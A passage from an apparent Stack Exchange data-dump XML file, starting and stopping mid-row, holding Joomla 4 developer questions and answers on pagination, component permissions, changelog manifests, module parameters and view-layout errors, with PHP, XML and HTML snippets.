($this-&amp;gt;items as $i =&amp;gt; $item) : if ($i == 15) {break;} ?&amp;gt;&#xA;                &amp;lt;?php if ($item-&amp;gt;articletype==&amp;quot;Featured Article&amp;quot;) : ?&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;featuredContainer&amp;quot;&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;newsItem&amp;quot;&amp;gt; &#xA;                            &amp;lt;div class=&amp;quot;newsItemImage&amp;quot;&amp;gt;&#xA;                                &amp;lt;img src=&amp;quot;&amp;lt;?php echo $item-&amp;gt;articleimage; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&amp;quot;newsItemTitle&amp;quot;&amp;gt;&#xA;                                &amp;lt;a href=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_everist&amp;amp;view=newsarticle&amp;amp;id='.(int) $item-&amp;gt;id); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;title); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif ?&amp;gt;&#xA;            &amp;lt;?php $i++; endforeach ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I would like to do is have more like this but starting on page 2, or only visible on page 1.&lt;/p&gt;&#xA;" OwnerUserId="16856" LastEditorUserId="16856" LastEditDate="2023-01-23T09:05:08.763" LastActivityDate="2023-01-23T22:06:32.677" Title="PHP if statement to display divs only on first page of pagination Joomla 4" Tags="|component|joomla-4.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32726" PostTypeId="1" CreationDate="2023-01-22T23:20:30.390" Score="0" ViewCount="48" Body="&lt;p&gt;I have a dashboard setup for my component which works fine but I wanted to allow a user in the administrator usergroup to have access to the components parameters.  So set the permissions in the component to allow this.  When viewing the list of main items in the admin side, the &amp;quot;Options&amp;quot; button appears as I would expect, however, on the dashboard the &amp;quot;Configuration&amp;quot; option doesn't appear as it does for the Super User's.&#xA;Any suggestions where to look to see why this is missing greatly appreciated.&#xA;In &amp;quot;mycomponent.xml&amp;quot; preset file I have the usual config menuitem setting:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;menuitem&#xA;        title=&amp;quot;COM_MYCOMPONENT_CONFIGURATION&amp;quot;&#xA;        type=&amp;quot;component&amp;quot;&#xA;        element=&amp;quot;com_config&amp;quot;&#xA;        link=&amp;quot;index.php?option=com_config&amp;amp;amp;view=component&amp;amp;amp;component=com_mycomponent&amp;amp;amp;path=&amp;amp;amp;return=&amp;amp;amp;dashboard=mycomponent&amp;quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2024-02-17T17:01:55.223" Title="Component Dashboard - config not showing" Tags="|joomla-4.x|cpanel|dashboard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32727" PostTypeId="2" ParentId="32725" CreationDate="2023-01-22T23:43:15.243" Score="0" Body="&lt;p&gt;In the Source View file (src/View/HtmlView.php) you possibly have this in the display function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in the multiples listing tmpl file you would have something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tfoot&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&amp;quot;10&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tfoot&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="12352" LastEditDate="2023-01-23T01:30:16.230" LastActivityDate="2023-01-23T01:30:16.230" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32728" PostTypeId="2" ParentId="32709" CreationDate="2023-01-22T23:52:42.777" Score="0" Body="&lt;p&gt;You could try this link which may get you started. &lt;a href=&quot;https://docs.joomla.org/J4.x:Cassiopeia_Template_Simplified_-_A_Case_Study&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Cassiopeia_Template_Simplified_-_A_Case_Study&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-01-22T23:52:42.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32729" PostTypeId="2" ParentId="32726" CreationDate="2023-01-23T14:45:53.370" Score="0" Body="&lt;p&gt;The HtmlView of your component in the administrator should have something like the follow in the function adToolbar()&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($user-&amp;gt;authorise('core.admin', 'com_yourcomponent') || $user-&amp;gt;authorise('core.options', 'com_yourcomponent')) {&#xA;            $toolbar-&amp;gt;preferences('com_yourcomponent');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in your access.xml in your component need have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot; ?&amp;gt;&#xA;&amp;lt;access component=&amp;quot;com_yourcomponent&amp;quot;&amp;gt;&#xA;    &amp;lt;section name=&amp;quot;component&amp;quot;&amp;gt;&#xA;            &amp;lt;action name=&amp;quot;core.options&amp;quot; title=&amp;quot;JACTION_OPTIONS&amp;quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/access&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should be enough for get working this in your component toolbar.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2023-01-23T14:45:53.370" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32730" PostTypeId="2" ParentId="32537" CreationDate="2023-01-23T15:03:17.123" Score="1" Body="&lt;p&gt;Right, I've worked this out. It is down to ensuring that the changelogurl entry is included in your component manifest when the component is first installed. I'm not sure if the documentation has changed, but I only included it in the Updates manifest initially.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;changelogurl&amp;gt;https://example.com/my/changelog/location/changelog.xml&amp;lt;/changelog&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you only add it to the manifest in a component update &lt;em&gt;after&lt;/em&gt; you've initially installed a version of your component without it, then the &lt;strong&gt;changelogurl&lt;/strong&gt; column in the &lt;strong&gt;#__extensions&lt;/strong&gt; doesn't get populated with that URL.&lt;/p&gt;&#xA;&lt;p&gt;If you do a clean install with that later version, then it'll work fine.&lt;/p&gt;&#xA;&lt;p&gt;If you don't want to uninstall your older install, you can also get it working by updating the database directly. Just populate &lt;strong&gt;#__extensions.changelogurl&lt;/strong&gt; with your changelog URL.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2023-01-23T15:03:17.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32731" PostTypeId="2" ParentId="32725" CreationDate="2023-01-23T22:06:32.677" Score="1" Body="&lt;p&gt;You need to get the Pagination object rather than trying to derive it from the input variables.&lt;/p&gt;&#xA;&lt;p&gt;In your HtmlView file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;pagination = $this-&amp;gt;get('pagination');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in your tmpl file, you can ask the pagination which page you're on:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if($this-&amp;gt;pagination-&amp;gt;pagesCurrent == 1) {&#xA;    //Do whatever you want for the first page&#xA;} else {&#xA;    //Alternative content for other pages&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-01-23T22:06:32.677" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32734" PostTypeId="1" CreationDate="2023-01-26T09:32:11.047" Score="0" ViewCount="560" Body="&lt;p&gt;Facing problem in joomla pagination&#xA;when component upgraded from joomla 3 to 4&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yGr88.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGr88.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;with same css, although buttons are working in joomla 4 with click taking to prev, first on left side and on right side to next and last&lt;/p&gt;&#xA;&lt;p&gt;Pls guide on what to do to have text writted as prev, first on left and next, last on right side&lt;/p&gt;&#xA;&lt;p&gt;On checking source code coming as&#xA;Coming as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&amp;quot;disabled page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;span class=&amp;quot;page-link&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;icon-angle-double-left&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&amp;quot;disabled page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;span class=&amp;quot;page-link&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;icon-angle-left&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;                            &amp;lt;li class=&amp;quot;active page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-current=&amp;quot;true&amp;quot; aria-label=&amp;quot;Page 1&amp;quot; href=&amp;quot;#&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;1&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 2&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=20&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            2        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 3&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=40&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            3        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 4&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=60&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            4        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 5&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=80&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            5        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 6&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=100&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            6        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 7&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=120&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            7        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 8&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=140&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            8        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 9&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=160&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            9        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to page 10&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=180&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            10        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;        &#xA;            &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to next page&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=20&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            &amp;lt;span class=&amp;quot;icon-angle-right&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&amp;quot;page-item&amp;quot;&amp;gt;&#xA;        &amp;lt;a aria-label=&amp;quot;Go to end page&amp;quot; href=&amp;quot;/6jan2023/index.php?option=com_offers&amp;amp;amp;view=schemes&amp;amp;amp;Itemid=9&amp;amp;amp;limitstart=2800&amp;quot; class=&amp;quot;page-link&amp;quot;&amp;gt;&#xA;            &amp;lt;span class=&amp;quot;icon-angle-double-right&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2023-01-26T10:16:03.270" LastActivityDate="2024-03-11T20:34:49.343" Title="Joomla4 pagination issue in component on prev, next" Tags="|joomla-4.x|pagination|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32735" PostTypeId="2" ParentId="32734" CreationDate="2023-01-26T12:49:10.533" Score="0" Body="&lt;p&gt;The class names of those 4 buttons are probably not correct to get font awesome icons. You have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&amp;quot;icon-angle-double-left&amp;quot;&#xA;&amp;lt;span class=&amp;quot;icon-angle-left&amp;quot;&#xA;&amp;lt;span class=&amp;quot;icon-angle-right&amp;quot;&#xA;&amp;lt;span class=&amp;quot;icon-angle-double-right&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't know which font awesome icon classes you need. You probably have to change &lt;code&gt;&amp;lt;span class=&amp;quot;icon-angle-left&amp;quot;&lt;/code&gt; to something like &lt;code&gt;&amp;lt;span class=&amp;quot;fa-solid fa-arrow-left&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You could do that &lt;strong&gt;via a template override&lt;/strong&gt; for the pagination.php file.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-01-26T12:49:10.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32736" PostTypeId="1" AcceptedAnswerId="32740" CreationDate="2023-01-26T15:23:03.433" Score="1" ViewCount="119" Body="&lt;p&gt;a few years ago, I implemented a Joomla 3 instance for a website of a biking club.&#xA;It was nearly not used since then, because there was no necessity.&#xA;But now we have the necessity.&lt;/p&gt;&#xA;&lt;p&gt;Back then, I developed a small module just for displaying DropDown lists, under which a few PDF files were listed for download. The module had - hardcoded - some paths under which it should collect the PDF files.&lt;/p&gt;&#xA;&lt;p&gt;Now, what we want is pretty simple. We want to define ourselves, on the Joomla side (not on the website frontend), where the module should look for the PDF files. So logically, it should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Year: 2018&#xA;Description: Lists of 2018 race&#xA;Path: website\downloads\race_lists\2018\&#xA;FileTypes: *&#xA;display: yes&#xA;&#xA;Year: 2023&#xA;Description: Lists of 2023 race (not yet published)&#xA;Path: website\downloads\race_lists\2023\&#xA;FileTypes: PDF&#xA;display: no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;... and so on&lt;/p&gt;&#xA;&lt;p&gt;Practically, this should resolve in form fields on the Joomla Module config site, where we can choose those parameters years, paths, file types etc.&lt;/p&gt;&#xA;&lt;p&gt;Since I have not worked very much with Joomla, maybe someone can tell me if it is possible (and how), before I invest plenty of hours in research.&lt;/p&gt;&#xA;" OwnerUserId="11995" LastActivityDate="2023-01-27T13:40:25.147" Title="Giving parameters to my module on the administrator side" Tags="|module|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32738" PostTypeId="2" ParentId="28930" CreationDate="2023-01-26T17:02:41.303" Score="0" Body="&lt;p&gt;Here is how I successfully implemented user3402785's advice in AjaxController.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Mycomponent\Component\Mycomponent\Site\Controller;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\Session\Session;&#xA;&#xA;class AjaxController extends BaseController&#xA;{&#xA;    public function getstatus()&#xA;    {&#xA;        header('HTTP/1.1 202 Accepted', true, 202);&#xA;        $data = $this-&amp;gt;input-&amp;gt;get('data');&#xA;        echo $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16861" LastEditorUserId="12352" LastEditDate="2023-01-27T01:02:43.653" LastActivityDate="2023-01-27T01:02:43.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32739" PostTypeId="1" AcceptedAnswerId="32754" CreationDate="2023-01-26T18:12:12.903" Score="1" ViewCount="561" Body="&lt;p&gt;I am trying to make a music component for Joomla 4&lt;/p&gt;&#xA;&lt;p&gt;On the backend, my other forms work fine and the data is stored correctly in the database ( celebrity , album , etc...)&lt;/p&gt;&#xA;&lt;p&gt;In the music form, when I click on the save and exit button, I get an error 500 Layout default not found. but the information is saved well in the database.&lt;/p&gt;&#xA;&lt;p&gt;The codes used to display the forms are almost similar to each other and all the forms work correctly in the backend, but the music form has an error.&lt;/p&gt;&#xA;&lt;p&gt;The code used in &lt;code&gt;com_myext/admin/views/music/view.html.php&lt;/code&gt; file for music&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted Access');&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\MVC\View\HtmlView;&#xA;use Joomla\CMS\Toolbar\ToolbarHelper;&#xA;use Joomla\CMS\Helper\ContentHelper;&#xA;&#xA;class AvisamusicdbViewMusic extends HtmlView&#xA;{&#xA;    protected $item;&#xA;    protected $form;&#xA;&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;item = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;form = $this-&amp;gt;get('Form');&#xA;&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            throw new \Exception(implode('&amp;lt;br&amp;gt;', $errors), 500);&#xA;        }&#xA;&#xA;        $this-&amp;gt;addToolbar();&#xA;&#xA;        return parent::display($tpl);&#xA;    }&#xA;&#xA;    protected function addToolbar()&#xA;    {&#xA;        $input = Factory::getApplication()-&amp;gt;input;&#xA;        $input-&amp;gt;set('hidemainmenu', true);&#xA;&#xA;        $user = Factory::getUser();&#xA;        $userId = $user-&amp;gt;id;&#xA;        $isNew = $this-&amp;gt;item-&amp;gt;id == 0;&#xA;        $canDo = ContentHelper::getActions('com_avisamusicdb', 'component');&#xA;&#xA;        ToolbarHelper::title(sprintf('%s: %s', Text::_('COM_AVISAMUSICDB'), Text::_('COM_AVISAMUSICDB_TITLE_MUSICS_EDIT')), '');&#xA;&#xA;        if ($canDo-&amp;gt;get('core.edit')) {&#xA;            ToolbarHelper::apply('music.apply', 'JTOOLBAR_APPLY');&#xA;            ToolbarHelper::save('music.save', 'JTOOLBAR_SAVE');&#xA;            ToolbarHelper::save2new('music.save2new');&#xA;            ToolbarHelper::save2copy('music.save2copy');&#xA;        }&#xA;&#xA;        ToolbarHelper::cancel('music.cancel', 'JTOOLBAR_CLOSE');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The code used in &lt;code&gt;com_myext/admin/views/musics/view.html.php&lt;/code&gt; file for musics&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted Access');&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Helper\ContentHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\MVC\View\HtmlView;&#xA;use Joomla\CMS\Toolbar\Toolbar;&#xA;use Joomla\CMS\Toolbar\ToolbarHelper;&#xA;&#xA;class AvisamusicdbViewMusics extends HtmlView&#xA;{&#xA;    protected $items;&#xA;    protected $state;&#xA;    protected $pagination;&#xA;    protected $model;&#xA;    public $filterForm, $activeFilters;&#xA;public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;items            = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;state            = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;pagination       = $this-&amp;gt;get('Pagination');&#xA;        $this-&amp;gt;model            = $this-&amp;gt;getModel('musics');&#xA;        $this-&amp;gt;filterForm       = $this-&amp;gt;get('FilterForm');&#xA;        $this-&amp;gt;activeFilters    = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            throw new \Exception(implode('&amp;lt;br&amp;gt;', $errors), 500);&#xA;        }&#xA;&#xA;        AvisamusicdbHelper::addSubmenu('musics');&#xA;        $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;&#xA;        $this-&amp;gt;addToolbar();&#xA;        return parent::display($tpl);&#xA;    }&#xA;protected function addToolbar()&#xA;    {&#xA;        $state  = $this-&amp;gt;get('State');&#xA;        $canDo  = ContentHelper::getActions('com_avisamusicdb', 'component');&#xA;        $user   = Factory::getUser();&#xA;        $bar    = Toolbar::getInstance('toolbar');&#xA;&#xA;        if ($canDo-&amp;gt;get('core.create')) {&#xA;            ToolbarHelper::addNew('music.add');&#xA;        }&#xA;&#xA;        if ($canDo-&amp;gt;get('core.edit')) {&#xA;            ToolbarHelper::editList('music.edit');&#xA;        }&#xA;&#xA;        if ($canDo-&amp;gt;get('core.edit.state')) {&#xA;            ToolbarHelper::publish('musics.publish', 'JTOOLBAR_PUBLISH', true);&#xA;            ToolbarHelper::unpublish('musics.unpublish', 'JTOOLBAR_UNPUBLISH', true);&#xA;            ToolbarHelper::archiveList('musics.archive');&#xA;            ToolbarHelper::checkin('musics.checkin');&#xA;        }&#xA;if ($state-&amp;gt;get('filter.published') == -2 &amp;amp;&amp;amp; $canDo-&amp;gt;get('core.delete')) {&#xA;            ToolbarHelper::deleteList('', 'musics.delete', 'JTOOLBAR_EMPTY_TRASH');&#xA;        } elseif ($canDo-&amp;gt;get('core.edit.state')) {&#xA;            ToolbarHelper::trash('musics.trash');&#xA;        }&#xA;&#xA;        if ($canDo-&amp;gt;get('core.admin')) {&#xA;            ToolbarHelper::preferences('com_avisamusicdb');&#xA;        }&#xA;&#xA;        JHtmlSidebar::setAction('index.php?option=com_avisamusicdb&amp;amp;view=musics');&#xA;        ToolbarHelper::title(sprintf('%s: %s', Text::_('COM_AVISAMUSICDB'), Text::_('COM_AVISAMUSICDB_TITLE_MUSICS')), '');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The structure of my folders and files is as follows&#xA;i upload celebrity &amp;amp; celebrities for example for better understanding ( celebrities code , something like musics code )&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b0sWl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b0sWl.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;admin\views\music\tmpl\edit.php code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_avisamusicdb&amp;amp;view=music&amp;amp;layout=edit&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;adminForm&amp;quot; method=&amp;quot;post&amp;quot; class=&amp;quot;form-validate&amp;quot;&amp;gt;&#xA;    &amp;lt;?php if (JVERSION &amp;lt; 4 &amp;amp;&amp;amp; !empty($this-&amp;gt;sidebar)) { ?&amp;gt;&#xA;        &amp;lt;div id=&amp;quot;j-sidebar-container&amp;quot; class=&amp;quot;&amp;lt;?php echo $colClass; ?&amp;gt;2&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;sidebar; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&amp;quot;j-main-container&amp;quot; class=&amp;quot;&amp;lt;?php echo $colClass; ?&amp;gt;10&amp;quot;&amp;gt;&#xA;        &amp;lt;?php } else { ?&amp;gt;&#xA;            &amp;lt;div id=&amp;quot;j-main-container&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;form-horizontal&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;&amp;lt;?php echo $rowClass; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;&amp;lt;?php echo $colClass; ?&amp;gt;12&amp;quot;&amp;gt;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.startTabSet&amp;quot;, 'myTab', array('active' =&amp;gt; 'basic_configuration')); ?&amp;gt;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.addTab&amp;quot;, 'myTab', 'basic_configuration', Text::_('COM_AVISAMUSICDB_FIELDSET_BASIC_INFO')); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('basic_configuration'); ?&amp;gt;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.endTab&amp;quot;); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.addTab&amp;quot;, 'myTab', 'music_links', Text::_('COM_AVISAMUSICDB_FIELDSET_MUSIC_LINKS')); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('music_links'); ?&amp;gt;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.endTab&amp;quot;); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.addTab&amp;quot;, 'myTab', 'music_trailers', Text::_('COM_AVISAMUSICDB_FIELDSET_MUSIC_TRAILER_URLS')); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('music_trailers'); 